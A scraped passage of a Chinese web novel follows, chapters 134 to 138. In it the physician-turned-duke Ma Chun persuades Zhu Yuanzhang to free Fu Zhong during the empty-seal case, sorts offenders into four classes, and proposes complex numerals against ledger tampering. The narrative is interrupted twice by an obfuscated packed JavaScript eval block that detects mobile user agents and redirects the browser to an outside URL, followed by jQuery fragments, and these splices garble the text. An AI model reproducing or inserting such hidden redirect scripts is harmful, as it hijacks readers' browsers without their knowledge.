以傅忠为切入点,面圣?
朱元璋那双洞悉一切的眼睛……风险极大。
但若只是自保,看着更多人像那个吓破胆的户部库使,看着更多家庭如胡氏这般在恐惧中煎熬……
他转过身,眼神变得坚定。“妙云,我想……进宫一趟。”
徐妙云轻轻颔首,没有丝毫惊讶,“我陪你。”
马淳摇头:“不用。你留下照顾傅夫人。这个时候,她身边不能没人。”
他看向胡氏:“傅夫人莫急。我和内子商议一下。你先在这里歇息,安心等消息。”
胡氏呜咽着答应。
马淳示意徐妙云跟他到内室。门帘落下,隔绝了外间的声音。
内室里,药香更浓。
“你想为傅忠求情?”徐妙云低声问,目光澄澈。
“是,也不全是。”马淳沉声道,“傅忠虽然混账,但空印这事,他顶多是个凑热闹听壁脚的,绝不敢真碰。
“蒋瓛扣着他,无非是想借他这个颖国公世子的名头,给某些人施加压力,或者……钓更大的鱼。拖下去,他只会更危险。”
徐妙云静静听着。
“更重要的是,”马淳的声音里有一丝责任,“你还记得陛下问我的话吗?‘该不该杀’?这案子牵连太广。地方官吏为了公文往返便利,积年累月形成的陋规。一刀切下去,多少无辜性命?多少家庭破碎?傅忠之事,或许是个契机。一个提醒陛下‘胁从可悯’的契机。”
徐妙云看着他眼中闪烁的光,那是一种属于医者、也超越医者的悲悯与勇气。
“风险很大。”她提醒,“圣心难测。尤其是这案子,陛下雷霆震怒。”
“我知道。”马淳坦然,“但若此时不说,还要等到何时?傅友德在边关为国效力,家中独子却蒙冤被困?这不合情理。何况,我们也有个由头——傅夫人有孕在身,受不得惊吓。于情于理,陛下都会多少给颖国公几分薄面。”
他顿了顿,看向徐妙云:“当然,前提是我能见到陛下。”
徐妙云思忖片刻。“有一个人,或许可以帮你递话。”
“皇后娘娘?”
马淳即刻出了门。
“姐姐……”胡氏的声音带着后怕。
徐妙云轻抚着她的背,“会没事的。”
她温言安抚,看向门口丈夫消失的方向,“他会尽力的。”
不知为何?
看着丈夫的身影,她居然喊不出让马淳停下来的话。
因为这一刻,马淳是一个医者。
医者!
医的不仅是个体,还有这个世道……
第134章国舅爷你如今是徐国公,不是儿戏
马淳一步步走向宫门。
守门的锦衣卫看到他,远远便躬身行礼:“见过国公。”
他没有心思寒暄,略微点头便快步穿过深邃的宫门洞。
“小马……徐国公!”蒋瓛恰好巡视至此,看到马淳,连忙迎上几步。“您这是要见驾?”
马淳停下脚步,一刹那的物是人非,让这两个关系极好的朋友,此刻也多了一份生疏。
身份!
永远都是一道藩篱!
不管愿意不愿意,现在他和蒋瓛之间,已经不可能有一同抗疫时的默契。
“蒋兄!”他略略颔首。
“国公爷折煞了,下官……”蒋瓛也叹了口气,物是人非啊。
两个人经过短暂的挣扎后,恢复了各自身份该有的冰冷。
“烦请通传,马淳求见陛下。”话语干净利落。
蒋瓛眼中闪过一丝惊讶。
这位新晋国舅极少主动求见。
“国公稍候。”蒋瓛转身对身边校尉低声吩咐了几句。
那校尉立刻飞奔入内。
马淳站在原地,静静等待。
“蒋……指挥使,我真怀念我们一起抗击瘟疫之时。”马淳看着蒋瓛道。
蒋瓛一愣,左右看了看,随即压低声音道:“小马大夫,如今是多事之秋,你看病便是,莫要牵扯过多。尤其是傅忠之事,此间有诸多难言之隐。”
马淳没想到蒋瓛还是提醒了自己一句。
他也压低了声音,两个人跟接头一样对话:“我是大夫,岂能袖手旁观,况且,傅忠无罪!”
“无罪之人比比皆是,您救得过来吗?如今……诶……”他没有说下去。
他也知道,如果马淳真的是那么容易劝服的人,当初那场大疫病,马淳就不会出手。
时间仿佛很慢。
两个人没有再说话。
脚步声由远及近。
通传的校尉回来了,后面竟跟着太监总管李二。
李二堆着笑,“国公爷陛下正在谨身殿批阅奏疏。宣您即刻觐见。”
“有劳。”马淳微微颔首,跟了上去。
蒋瓛看着他的背影,还是叮嘱:“少说话!”
马淳回头看了他一眼,报以一个感激的神色。
他跟在李二身后,沿着长长的宫道走向深处。
李二将他引至谨身殿外,“国公请。”
厚重的殿门无声地在他面前开启。
朱元璋的身影出现在大殿尽头。
他坐在宽大的御案后,并未抬头,正执笔疾书。
案头堆积如山的奏本几乎将他半边身子淹没,像一尊沉默的山岳。
大殿空旷。
朱笔划过纸页的沙沙声异常清晰。
马淳缓步走进殿中。
门在身后悄然合拢。
隔绝了外面的风声。
他屏住呼吸,清晰地听到了自己胸腔里沉稳而坚定的心跳。
他行至殿中,行礼,“臣马淳,叩见陛下。”声音不高,却字字清晰。在空旷的大殿里激起微弱的回响。
御案后的身影终于顿住。
朱笔搁在了笔架上。
朱元璋缓缓抬起头,目光落在马淳身上。
“何事求见?”
马淳站得笔直,迎着那审视的目光,不闪不避。“臣,为傅忠而来。”
开门见山。
朱元璋的眉毛似乎微微挑动了一下。
但表情依旧沉静如水。“傅忠?”
他像是才想起来这个人,“傅友德的儿子?”
他身体微微后靠。“他还关着?”
马淳心中一凛。
陛下记得清清楚楚。
他强迫自己保持镇定。“是。臣听闻,他自上次诏狱问话后,至今已一月,仍羁押未释。陛下,其妻胡氏身怀六甲,几近临盆,忧惧交加,今日特来臣处哭求……臣恳请陛下……体恤。”
朱元璋手指在案上轻轻敲击。
笃……笃……笃……声音在寂静的大殿里显得格外突兀。
“体恤?”他声音里带着冷意,“你如今是‘徐国公’,‘国舅爷’。求情开口便如此容易?那胡氏倒会找人。”
他话锋一转。“傅忠他爹傅友德,是朕倚重的国公。朕看在他爹份上,才未动刑,仅令他暂居诏狱,好生思过。怎么?你这国舅爷,还嫌朕处置轻了?”
“臣不敢!”马淳立刻回道,“陛下,臣不敢妄言处置轻重。傅忠行事不谨,惹上是非,受些惩处理所应当。只是……陛下可知,那夜随他去诏狱传话的秦朗?”
朱元璋没说话。
马淳接着道。,“那孩子被严刑拷打,出来时已不成人形,只剩一口气。臣为他清创包扎,肋骨折断两根,手臂皮开肉绽,内脏亦有损伤。若非侥幸,他只怕早已死在狱中。
“臣问他为何。他说,‘他们只要那半张印着太医院私印的废药方’。”
马淳的声音平静,却字字诛心。“他们只想拿到那份无关紧要的方子去罗织罪证。而傅忠呢?他被关押一月,甚至不知道自己究竟犯了什么大错。仅仅因为一场荒唐的误会?因为被都察院的御史撞见?陛下当初问臣,‘该杀吗?’臣答,首恶当诛,胁从可悯。
“傅忠……绝非首恶。”马淳的声音带上了一种前所未有的勇气。“臣今日斗胆请陛下想一想。这牵连日广的‘空印’一案,所缚所杀之人,其中有多少是真心渎职,又有多少……又有多少是被恐惧裹挟,抑或仅仅是因循旧例?”
说完,他深深低下头。等待雷霆或静默。
大殿死寂。
朱元璋脸上依旧毫无波澜。
良久。
朱元璋缓缓靠回宽大的龙椅。
他合上面前一本刚批了一半的奏章。
“来人。”朱元璋的声音终于响起。
门外侍立的李二几乎是连滚带爬地冲了进来,“奴婢在!”
“传旨锦衣卫。”朱元璋每一个字都吐得极慢,“诏狱傅友德之子傅忠,即行释放不得有误。”
李二猛地抬起头。
眼中满是难以置信的惊愕。
随即反应过来,“奴婢……奴婢领旨!”
他几乎是手脚并用地爬起来。
马淳悬着的心骤然一松。
他感到一股难以言喻的脱力感,仿佛抽干了所有力气,“臣……谢陛下天恩!”
“谢?”朱元璋低沉的声音打断了他。
马淳的动作僵住。
皇帝的目光重新落回他身上。
“你今日这声‘谢’。”朱元璋的声音平淡。,“是替胡氏肚子里的娃谢?还是替傅友德谢?抑或是……”
朱元璋的语调陡然下沉了,“替那秦朗谢?替那些‘不该死’的‘胁从’而谢?”
马淳猛地抬头……
第135章马淳!你在教咱怎么做皇帝?
朱元璋的目光落在他身上:“傅忠会放。该查的也查得差不多了。但马淳记住你现在的身份。”
“你不是当初那个小村医了,你现在是大明的徐国公,是太子的亲舅舅!是咱小舅子!”
朱元璋微微前倾。
一股无形的威压弥漫开来,“一言一行都有人在看,在猜,在学。你的话分量不一样了明白吗?”
马淳心头一震。
他当然明白。
国公的爵位是恩典更是千斤枷,他躬身道:“臣……谨记陛下教诲。”
朱元璋看着他顺从的姿态脸色稍霁,但语气依旧严肃,“救死扶伤是你的仁心咱欣赏,但朝堂之事错综复杂,牵一发而动全身,咱问你该不该杀,是要你体察为君之难,不是让你来教咱……”朱元璋顿了一下。“怎么做皇帝。”
最后一句话不重,却带着冻人心魄的寒意。
马淳只觉得一股凉气从脚底直冲头顶。
他扑通一声再次跪倒,“臣万死!不敢有这等心思!”
朱元璋看着他瞬间煞白的脸,行了!起来!动不动就跪,咱没说你不能说话,但要懂分寸,尤其在这件事上,你才刚找到家人,路还长别折在半道。”
这几乎是明晃晃的警告。
马淳浑身一震。
他明白了朱元璋的深意。
这是在点他。
新晋国舅根基未稳贸然卷入大案漩涡,极易被别有用心之人当作靶子。
他低头:“臣……谢陛下点拨。”
东宫
几乎就在马淳跪在奉天殿的同时。
东宫议事厅的门被推开。
太子朱标正在批阅文书。
贴身内侍快步上前,在他耳边低语了几句。
朱标执笔的手猛地一顿,墨点晕染了奏疏,“什么?”
朱标猛地抬头,脸上全是惊愕,“舅舅此刻就在父皇那里?他在为傅忠求情?”
内侍重重点头:“是,殿下,李公公派人急报,就在奉天殿!”
朱标豁然起身,他已顾不上了,“备舆!快!去奉天殿!”
内侍紧跟疾呼:“殿下!已备好了!”
就在朱标冲出门槛时,太子妃吕氏走了出来,“殿下何事如此匆忙?”
她脸上带着恰到好处的惊讶。
朱标头也不回:“舅舅在父皇那儿!”
吕氏眼底掠过一丝惊喜,声音却充满担忧:“舅舅怎么了?”
朱标已走到院中,“舅舅在跟父皇求情!是关于空印案里傅忠的事!”
吕氏“啊”了一声,“这……舅舅是有些……有些鲁莽了。陛下正为此案龙颜震怒,舅舅新得国公之尊,贸然去说这等事……”
她摇了摇头,仿佛不忍再说下去。
朱标哪里还有心思细品她的弦外之音。
吕氏站在廊下。
望着朱标远去的背影,脸上那份浓浓的忧虑瞬间化去,眼中的算计再难遮掩。
好啊!
她心中冷笑。
真是老天有眼!
这莽撞无知的村夫!
仗着点医术和突然掉下来的国舅身份,竟真以为自己能插手朝堂大事了?
空印案?
那是陛下心里最深的刺!
谁都碰不得!
你马淳算什么东西?竟敢去求情!
为的还是傅家那个不成器的!
这不是自己把脖子往刀口上送吗?
好啊!省下自己多少功夫!
看来……离这眼中钉肉中刺彻底消失的日子,不远了。
坤宁宫。
马皇后刚用过一盏燕窝,宫女正为她梳理头发。
另一个内侍步履匆匆自殿外走入,“启禀娘娘。徐国公在奉天殿,正为傅家长子傅忠之事……,向陛下求情。”
马皇后执梳的手停在半空。
她猛地转过身,声音都变了调,“什么?为傅忠?淳儿他……他糊涂啊!”
她太了解自己的丈夫。
空印案是朱元璋心中的逆鳞,刚烈如火,容不得半点沙子!
这段日子,前朝后宫人心惶惶,她虽贵为皇后,但深知此案牵动朝局,涉及陛下对吏治雷霆整肃的决心。
自己纵有千般忧虑,万般不忍,亦不敢轻易开口劝说。
她只能在心中煎熬,默默祈祷少造些杀孽。
万万没想到!
自己这个失而复得,一门心思想悬壶济世的弟弟,竟如此不知深浅,闯下这等大祸!
他真以为成了国舅,当上国公,就可以干涉这等滔天大案?就可以动摇陛下的意志?
他这是……将陛下置于何地?将他自己置于何地?将好不容易寻回的亲情……置于何地?
一股强烈的心悸涌上,马皇后捂着心口,脸色瞬间白了几分。
旁边的贴身嬷嬷大惊。“娘娘!您怎么了?”
马皇后强压下心口的窒闷,挥手制止,“不!没事!快!快为本宫更衣!”
“去奉天殿!”
她必须立刻赶过去!
去拦住可能发生的雷霆之怒,去护住她这个刚认回来,心思至纯却也至莽的傻弟弟!
“再晚……”马皇后的声音颤抖,“就来不及了!”
……
大殿死寂。
朱元璋的目光像两柄冰冷的剑,落在马淳身上。
马淳猛地抬头,巨大的压力如潮水般涌来,皇帝的眼神深不见底。
他知道,朱元璋在逼他。
逼他越过那条线。
医者的本能在这一刻,与理智和来自灵魂深处的某种悸动冲撞着。
不能退!
马淳深吸一口气。
他迎上皇帝洞穿人心的目光,声音不大,却异常清晰,“陛下。臣曾答陛下问:首恶当诛,胁从可悯。“今日,臣想斗胆再言。空印之弊,如同腐疽。绵延日久,已成陋规,此为根源之祸,绝不可恕!此为纲!此为根本!”
马淳的声音逐渐稳定下来,思路清晰起来。
就像面对一个极其复杂的病症,在剥丝抽茧。
“然病灶复杂,病患情状各异。”
朱元璋的目光微凝,身体依旧靠坐着,但那份无形的压力,似乎减轻了些许。
马淳看在眼里,心中稍定,“臣窃以为,其中犯案官吏,或可分而治之。”
他一字一句,说出思考已久的方案,“其一,专权谋私者。乃主持、推行此制之首恶。明知其弊,却借此贪墨、篡改、营私舞弊,中饱私囊。此为首恶,罪无可赦!当施重典,以正国法!以儆效尤!”
朱元璋的眉头几不可察地动了一下。
马淳继续道,“其二,趋利附恶者,虽非主谋,然利欲熏心,主动依附其中,分润其利,为虎作伥。此类亦属重罪,当严惩不贷!”
“其三……盲从因循者,或迫于上命难违,或因积习已久,只知依循旧例,图公事之便捷,未经手重大贪弊。”
马淳的声音放缓了些许。“臣以为,此类……其罪在失察、失职!情有可悯。然,律法森严,不可废弛。当视其具体情由,量其过失轻重。予以降职、罚俸、夺官、乃至流放等惩处。亦为警醒后来者。”
……
第136章你还敢教我做事?
朱元璋的手指在御案上轻敲。
马淳感到一丝希望。
他加上了最后一条。“其四,幡然悔悟者,若有涉案官吏……能主动举发此等勾连内情,详陈弊案线索,为朝廷清理积弊出力,或可……将其功过对抵,朝廷开一面,示以宽仁。陛下……”
马淳看着皇帝的脸色。“此四者区分,首恶必诛,可彰陛下肃清吏治、整饬贪腐之雷霆决心!胁从按其罪责轻重施以惩戒,可显朝廷明察秋毫!若有悔悟者能揭发他案,亦能加速清理积弊,事半功倍。”
大殿安静下来。
马淳顿了顿,说出了最关键的一句。“此策……既保朝廷法度尊严,铁腕治吏……亦可在一定程度上,稍敛怨怼之气,毕竟……彻底肃清贪渎之土壤,堵制度之疏漏,方为吏治清明、长治久安之根本道。”
马淳说完这句。感觉自己后背有些湿冷。
寂静。
长久的寂静。
朱元璋脸上依旧没有任何表情。
但那审视的目光,锐利中似乎掠过一丝极为细微的波动。
殿门被无声地推开一条缝,太监总管李二的身影出现在门口。
他脸上带着一丝慌乱。“启……启禀陛下,太子殿下……皇后娘娘,此刻都在殿外候见……”
马淳心头重重一跳!
太子?
姐姐?
他们怎么都来了?
朱元璋的眉毛终于微微挑起,像是早有预料,也像是终于等到了某个节点。
他缓缓开口,“宣。”
朱元璋这简简单单的一个字,落在李二耳中,如同赦令。
他连忙转身,“宣!太子殿下、皇后娘娘,觐见——!”
朱标几乎是脚步不停地当先走了进来。
脸上带着毫不掩饰的焦急。
目光飞快地扫过殿内,定格在马淳身上,看到马淳虽脸色有些苍白,但神情还算镇定,并无想象中跪地请罪的狼狈之态。
朱标明显怔了一下,悬着的心这才稍微放下些许。
他来不及多想快走几步上前,躬身向御案后的朱元璋行礼,“儿臣参见父皇!”
话音未落门口另一个被搀扶着的身影出现,正是马皇后。
她穿着皇后的常服,她几乎刚进殿门,目光便急切地锁定了站在殿中的马淳。
见他完好无损地站在那里,眼眶瞬间一红。
但皇后的仪态让她强自克制着。
她向朱元璋行礼,“臣妾……参见陛下。”
朱元璋看着自己生命中最重要的两个人,几乎是前后脚地冲入大殿,只为了殿中站着的这个年轻人,多少有些醋意,“免礼。”
朱标站直身体,再次躬身,“父皇!舅舅他……他……”
他想说舅舅是初入朝堂,不知深浅。
想说他刚寻回至亲,难免冲动。
想为马淳辩解。
朱元璋抬手,止住了他的话头。“标儿,皇后,你们来得正好,方才徐国公……”
他特意用这个爵位称呼马淳。
“……为傅忠求情。”
马皇后心头猛地一揪。
完了!
果然是为此事!
她担忧地看向马淳。
朱元璋继续道:“……朕准了。”
太子朱标脸上瞬间写满了惊愕。
他甚至以为自己听错了!
准了?
父皇准了舅舅的求情?
在涉及空印大案这个风口浪尖的时刻?
而且……父皇看起来……并不像是勃然大怒的样子?
这与他来时路上设想的狂风骤雨……完全不同!
他甚至下意识地转头看向自己的母后,却发现,身边的马皇后也怔住了。
朱元璋仿佛没看到他们的震惊,自顾自地说下去,“不过……徐国公方才还对此案牵连众吏的处置,说了些想法。”
朱元璋再次看向马淳,隐隐的……似乎还有一丝极淡的期待?
“马淳。你把你方才说的那四类区分再详细地给太子和皇后,还有朕仔细说说。”
最后四个字朱元璋说得极慢也极重,像是一种明确的授意,更像是一道命令。
马淳瞬间明白真正的考验现在才开始!
皇帝的用意……昭然若揭!
这不仅仅是他想听。
皇帝是要借他的口给太子、给皇后……或许是给整个朝廷……定下一个处置的方向!
是皇帝在用人,在逼策!
巨大的压力再次袭来。
但这一次,马淳心中反而升起一股更加坚定的力量。
既然避无可避,那就……直面它!
他不再犹豫。
深吸一口气,将方才向朱元璋陈说的“四类区分论”。
更加条理清晰、细节分明的对着太子朱标,对着姐姐马皇后,对着高高在上的皇帝朱元璋,再次复述了出来。
一字一句,条分缕析。
殿内一片静默。
朱标的表情,从最初的惊愕,渐渐变成了思索,继而越来越凝重,最后眼中爆发出强烈的光!
好策!
舅舅此策……竟将复杂盘错的吏治顽疾……剖析得如此清晰可行!
不仅首恶不赦,更给众多被动卷入的官吏留出了一条……
可区别对待!
可改过自新!
可稍存生机的活路!
这比简单粗暴的“一概杀之”不知高明多少!
马皇后听着弟弟的声音,看着他那专注而沉静,甚至带着医者剖析病灶般冷静的侧脸,听着那一条条清晰明辨的策论,心中的震惊无以复加。
泪水无声地再次涌上眼眶。
这次不是担忧,而是……难以置信的骄傲!
她的小弟,她刚寻回的亲弟弟,在这足以让许多朝中老臣噤若寒蝉的朝堂之上,直面帝王的威严,竟能提出如此老成谋国!
如此……面面俱到!
如此……兼顾情理与法度的方案!
这哪里是那个只知背医箱的小村医?
这分明……这分明是治世良臣。
只见朱元璋缓缓抬手,指了指御案上一份摊开的奏本,“马淳。你来看这奏本里说,那涉案账册上的数字,有些是用朱笔后来涂改添加过的,前后笔迹不对。”
“涂改?”马淳皱眉,“陛下,涂改账册,舞弊之常也。”
朱元璋却轻轻哼了一声,“涂改是不假,但这涂改只需在空白处添笔或减笔。如‘一’添为‘二’、‘三’。或是将‘十’字勾笔一抹,便成了‘七’字。如此手法轻巧省力,难查痕迹!”
朱元璋的声音不高,却透着一股刻骨的寒意。
显然,这类在空白文书上做手脚的欺诈行为,正是他深恶痛绝“空印”弊病的根源之一!
更是点燃他对整个官僚体系信任危机的导火索!
……
第137章教朱元璋用大写数字!!
朱标和马皇后闻言,脸上都露出凝重之色。
这正是问题所在,防不胜防!
马淳的眉头却舒展开来,一丝了然的神情在他脸上闪过。
他等的就是这!
“陛下所言极是!”马淳上前一步,“正是此等轻易涂改的漏洞,助长了账册的舞弊!臣……”
他微微一顿,抛出了他真正想要建议的核心,“臣以为欲绝此等涂改舞弊之便,除严禁‘空印’外,需改进记账之法!”
“哦?”朱元璋的目光倏然锐利。
“改进记账?”皇帝的语气充满质疑,也有一丝期待。
朱标和马皇后也立刻看向马淳。
马淳迎着所有目光,清晰地说出了那个在洪武朝中后期……必将彪炳史册的名字!
“臣以为!当推行新的记账数字!弃用易被涂改之简笔!转用一种更为复杂!更不易涂改!更为规范!能确保数字准确无误不易变造的大字记数法!”
“大……字?”朱元璋的眉头皱起。
朱标眼中光芒一闪,似有所悟。
马皇后则听得专注。
马淳立刻解释,他几乎是毫不犹豫地说出了那几个在后世耳熟能详,却在此时足以令整个朝堂震动的汉字!
“即‘壹、贰、叁、肆、伍、陆、柒、捌、玖、拾、佰、仟、萬’!以此替代‘一、二、三、四、五、六、七、八、九、十、百、千、万’!”马淳的声音铿锵有力。
大殿内,瞬间陷入落针可闻的死寂!
朱元璋眼中。
猛地爆射出两束难以名状的锐利光芒!
那是惊讶!
是震动!
是一种醍醐灌顶的顿悟!
更是一种……被瞬间击中了痛点要害的震撼!
这方法……简直太绝了!
壹贰叁肆!
壹贰叁肆!
每一个字,笔画复杂繁复!
想再在空白处偷偷添一笔减一笔?谈何容易!
那“壹”字,怎么写?如何加?怎么改?
那“叁”字,那“肆”字……笔画繁复,结构严谨!
想神不知鬼不觉地涂改?几乎不可能!
一笔改动,就可能面目全非,立刻暴露!
这法子……简直就是一把精准的锁,一把锁死账册涂改舞弊之门的天生铁锁!
“好!!”一声压抑不住的低吼从朱元璋喉咙里迸发出来。
不是“妙”。
不是“善”。
而是石破天惊的一个字!
好——!!!
这声“好”,如同积蓄已久的洪流猛然开闸,在整个谨身殿内轰然炸响!
朱标的脸上,瞬间充满了毫不掩饰的激动和钦佩!
他看着舅舅马淳,眼神炽热如火。
绝了!
舅舅这脑子……简直是!
这“大字记数法”如同天外奇兵!一击必杀!
将父皇日夜忧心的账册涂改舞弊之患……从根子上!彻底断了路!
马皇后则呆呆地站在原地。
看着自己那个站在大殿中央,在皇权与太子注视下,昂首挺胸侃侃而谈的弟弟。
看着他脸上那份医者剖析病灶般的冷静与自信。
更看着他轻而易举地点破了令皇帝震怒。
令朝臣束手无策的吏治顽疾的关键破口!
“淳儿……”她低低地呢喃了一句,眼泪再次无法抑制地涌出。
这次是滚烫的混杂着欣慰,更混杂着难以言喻的自豪!
这是她的亲弟弟!
寻回来时,还只是一个背着医箱的小村医……
朱元璋那一声石破天惊的“好”字之后,紧紧盯着马淳,仿佛要重新认识这个意外闯回他生命中的“小舅子”。
皇帝的声音响起,带着一股急切和不容置疑,“马淳!即刻将这‘大字记数法’,给朕详细写下!”
“将这壹、贰、叁、肆、伍、陆、柒、捌、玖、拾、佰、仟、萬!每一个字!与旧字之对应!应用之规,皆书于奏本之上!朕……”朱元璋深吸一口气,“当诏命户部、通政司即刻推行天下!凡朝廷钱粮收支!官府各类账册!契约文券!悉以此‘大字’为准再有妄用旧字,擅改数字者!一经发觉,严惩不贷!”
从奉天殿离开,马淳跟在太子朱标身后。
朱标停下脚步,转身他看向马淳。
英俊温润的脸上,早已没有了丝毫担忧,只剩下明朗的笑容,和发自肺腑的敬佩。
“舅舅!”朱标的声音里充满了不加掩饰的惊叹,“今日舅舅真是一言定鼎!那‘大字记数法’,简直神来之笔!舅舅是没看见父皇那一声‘好’,外甥听得痛快之极!”
年轻的太子显得很兴奋。
显然今日马淳的应对和献策,给这位未来的君王,留下了极其深刻的印象,也打开了一片新的思路。
马淳脸上也浮现出笑容,“殿下过誉了。臣也是……急智。臣只是恰逢其时。”
他实话实说。
……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894037|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>诏狱沉重的大门缓缓开启,发出令人牙酸的摩擦声。
一个身影被搀扶着走出,正是傅忠。
他形容憔悴,身上昂贵的锦缎官服沾染着尘土和可疑的油渍,整个人蔫头耷脑,步履虚浮。
蒋瓛跟在后面。
他看着傅忠狼狈的样子,脸上没什么表情。
待到傅忠稍微站稳,蒋瓛几步上前,声音不高却异常清晰:“傅世子,听清楚了,你这条命,是捡回来的。知道是谁替你捡回来的吗?是徐国公。”
“徐国公?!”傅忠一直关在牢里,不知道外面发生了什么。
蒋瓛嗤笑一声:“马淳。如今陛下亲封的徐国公!”
傅忠的眼睛猛地睁大。
徐国公?
马兄?
小马大夫?
这爵位分量有多重,他傅忠再荒唐也清楚!
蒋瓛的声音冷得像冰:“知道国公爷为了捞你出来,冒了多大的险?他在谨身殿,当着陛下的面!为你这个扯进空印案的混账东西求情!陛下当时就在气头上!知道顶撞陛下的后果是什么?”
蒋瓛停顿了一下,眼神扫过傅忠瞬间惨白的脸。
他加重语气:“国公爷现在什么身份?皇后的亲弟弟!太子的亲舅舅!陛下的小舅子!他这样的人,安安稳稳享他的富贵荣华不好?为何要替你赌上脑袋?”
傅忠的嘴唇哆嗦着。
蒋瓛微微俯身,压得更近:“因为他说了句公道话。他说,你傅忠就是个糊涂混账东西,但还算不得首恶,不该死!记住!是国公爷念你是朋友!是国公爷豁出去拿命换你出来的!这,才是真朋友!”
蒋瓛说完,不再看僵在原地的傅忠。他直接转身进了诏狱。
沉重的大门重新闭合,发出更响亮的闷响。
马车里傅忠靠在车壁上。
蒋瓛的话像炸雷一样在他脑子里翻腾。
徐国公……求情……顶撞陛下……掉脑袋……
这些字眼一个比一个重,压得他喘不过气。
他从未想过,马淳会为他做这些,冒这么大的风险。
马车停了。
傅府的门房早就得了信,大门洞开。
刚下车,还没站稳,几声呼喊同时响起。
“忠哥!”
“傅兄!”
“老大你总算出来了!”
几个人影冲了上来。
是李景隆、傅让、吴杰、徐辉祖、徐增寿。
这些往日的狐朋**竟然都在……
第138章男儿有泪不轻弹!!!
“老大你可吓死我们了!”
“没事吧?”
“诏狱里那些混蛋没难为你吧?”
七嘴八舌的问候涌来。
往日傅忠最爱这种热闹场面。
此刻他听到这些熟悉的声音,心头却像塞了一团乱麻。
他眼神空洞,还没从蒋瓛带来的震撼里完全出来。
“老大?”李景隆发现不对劲,凑近了看,“怎么了这是?在里面遭罪了?”
他习惯性地想调侃两句活跃气氛。
突然,一阵急促的脚步声由远及近。
众人闻声转头,只见府门前的街道上,一个人正健步如飞地走来。
青衫磊落,身影挺拔,来人正是马淳。
他显然也是刚得到傅忠被释放的消息,立刻赶了过来。
脸上带着关切,目光第一时间就锁定了傅忠。
见他虽然狼狈但还算囫囵,似乎松了口气。
“马兄!”
“徐国公!”
“淳哥!”
众人纷纷招呼。
徐辉祖和徐增寿兄弟更是抢上一步行礼。“姐夫!”
他看着眼前向他走来的马淳。
那个熟悉的小马大夫,如今是徐国公。
但那关切的眼神,还是和以前一样,没有高高在上,只有朋友间的担忧。
马淳走到近前。
目光落在傅忠身上,温和问道:“傅兄,身体可有不适?”
他的声音依旧平静,话语中流露的是纯粹的关心。
这一声熟悉的“傅兄”。
这平淡温暖的询问。
像一根针,狠狠刺穿了傅忠心里那层荒诞的保护壳。
傅让在一旁赶忙道:“马兄……不,国公爷!多谢您仗义出手!救我兄长出来!”
其他人也纷纷附和。“是啊!多亏了国公爷!”
“老大你快好好谢谢国公爷!”
李景隆嘴快:“傅忠!你这回可真是踩了狗屎运!知道国公爷在陛下面前……”
他想描述一下马淳的功劳壮举。
话还没说完,众人只见眼前一花。
噗通!
一声异常沉闷而响亮的跪地声!
所有声音戛然而止。
每个人都僵住了,难以置信地瞪大了眼睛。
马淳正要伸手去扶傅忠的动作也停在半空。
他愕然地看着眼前的一幕。
地面上傅忠那个嬉皮笑脸、行事荒唐、号称跪天跪地跪父母就是不跪别人的颖国公世子。
竟然!
双膝结结实实砸在了地上!
直挺挺地!
跪在了马淳的面前!
傅忠的头深深埋了下去。
宽阔的肩膀剧烈地抖动,紧握的双拳压在地上。
整个傅府门口死一般寂静,落针可闻。
只有傅忠压抑的、粗重的喘息声越来越清晰。
那不是哭泣。
更像是在用尽全力忍耐着巨大的情绪冲击。
傅让傻眼了。
李景隆差点咬到自己的舌头。
吴杰惊得捂住了嘴。
就连一向沉稳的徐辉祖和机灵的徐增寿,也都震惊得忘记了动作。
谁也想不到傅忠会这样!
这比他以往任何一次荒唐举动都更让人震惊!
片刻令人窒息的沉默后。
傅忠猛地抬起头眼圈通红,血丝密布。
他死死盯着马淳。
那眼神里有惊魂未定,有死里逃生,有茫然无助。
但更多的,是一种从未有过的……痛!
还有无地自容。
他张着嘴,喉头剧烈滚动。
“马……”声音破碎不堪,“国公……我……”终于一个破碎的音节吐出。
然后。
这个从来只会胡闹、没心没肺的纨绔子弟。
这个被蒋瓛痛斥“混账东西”的人。
眼泪无法控制地决堤而出!
“这,才是真朋友”
他什么也说不出来只能用这卑微而沉重的一跪,表达内心的冲击。
马淳看着傅忠崩溃的样子。
脸上的愕然化为了然。
他明白傅忠此刻的感受。
马淳没有闪避这一跪,他静静地受了因为这一跪。
他没有立刻去扶。
也没有说什么虚浮的安抚。
只是待傅忠汹涌的情绪稍稍平息时,马淳伸出手,稳稳地落在傅忠的肩膀上。
“起来,傅忠,都过去了,回家就好。”
字字清晰,沉稳如磐石。
傅让这时才如梦初醒。
他和吴杰也赶紧蹲下,红着眼眶去搀扶浑身发软的傅忠,“哥,起来!回家了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894038|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“忠哥,起来啊!”
李景隆罕见地没说出刻薄话。
他只是愣愣地看着。
看着那个哭得毫无形象、站都站不稳的傅忠。
徐辉祖和徐增寿对望一眼,眼神中也充满了震动。
马淳扶起傅忠。
轻拍了拍傅忠冰冷的手背,“好好休息,让家人给你煮碗定惊汤,压压惊。”
傅忠被弟弟们搀扶着。
眼泪还在不受控制地流淌。
他看着马淳,眼神里有无数话想说。
……
马淳回到医馆时,天色已完全暗了下来。
听到熟悉的脚步声,徐妙云立刻抬起头,眼中是毫不掩饰的关切和一丝疲惫。
